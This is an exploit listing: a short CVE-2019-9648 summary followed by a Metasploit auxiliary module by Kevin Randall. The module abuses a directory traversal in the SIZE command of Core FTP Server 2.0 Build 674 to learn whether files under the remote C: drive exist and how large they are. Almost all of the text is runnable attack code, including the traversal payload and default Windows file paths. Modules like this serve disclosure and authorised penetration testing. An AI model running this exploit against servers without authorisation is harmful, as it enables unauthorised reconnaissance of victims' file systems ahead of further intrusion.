An issue was discovered in the SFTP Server component in Core FTP 2.0 Build 674. A directory traversal vulnerability exists using the SIZE command along with a \..\..\ substring, allowing an attacker to enumerate file existence based on the returned information.
ae1f326e83d759f0db597c0a8e6d13b4# Exploit Title: CoreFTP Server FTP / SFTP Server v2 - Build 674 SIZE
Directory Traversal (Metasploit)
# Google Dork: N/A
# Date: 8/20/2019
# Exploit Author: Kevin Randall
# Vendor Homepage: https://www.coreftp.com
# Software Link: http://www.coreftp.com/server/index.html
# Version: Firmware: CoreFTP Server FTP / SFTP Server v2 - Build 674
# Tested on: Windows 7 and Windows XP
# CVE : CVE-2019-9648
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Ftp
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def proto
'ftp'
end
def initialize
super(
'Name' => 'CVE-2019-9648 CoreFTP FTP Server Version 674 and below
SIZE Directory Traversal',
'Description' => %q{An issue was discovered in the SFTP Server
component in Core FTP 2.0 Build 674. A directory traversal vulnerability
exists using the SIZE command along with a \..\..\ substring, allowing an
attacker to enumerate file existence based on the returned information},
'Author' => [ 'Kevin Randall' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2019-9648' ],
[ 'BID', '107446' ],
[ 'URL', '
https://www.coreftp.com/forums/viewtopic.php?f=15&t=4022509' ]
],
'Disclosure Date:' => 'March 13 2019'
)
register_options([
Opt::RPORT(21),
OptString.new('FILENAME', [true, "Name of file to search on remote
server", 'nslookup.exe'] ),
OptString.new('PATHTRAVERSAL', [true, "Traversal path Note: Default
Drive used is C: ", "\\..\\..\\..\\..\\"] ),
OptString.new('PATHTOFILE', [ true, 'local filepath to the specified
file. Please add double slashes for escaping', 'Windows\\System32\\'] )
])
end
def run_host(ip)
print_status("Logging into FTP server now with supplied credentials")
c = connect_login
return if not c
print_status("Performing exploitation of the SIZE command to enumerate
files")
path = datastore['PATHTRAVERSAL'] + datastore['PATHTOFILE'] + "\\" +
datastore['FILENAME']
res = send_cmd( ['SIZE', "C: ", path ], true, nsock = self.sock)
data = res.to_s
print_status("Performing analysis.... Please wait")
if (data.include? "213" )
print_good ("And the circle hits the square!")
print_good ("File Exists. Here is the filesize:"+ data[4..-1])
return res
else
print_error("Mission Failed We'll get them next time!")
print_error ("Something went wrong or the file does not exist.
Please check your variables PATHTRAVERSAL and PATHTOFILE (please escape
double backslash) or verify file extension as it may be incorrect")
return res
end
end
end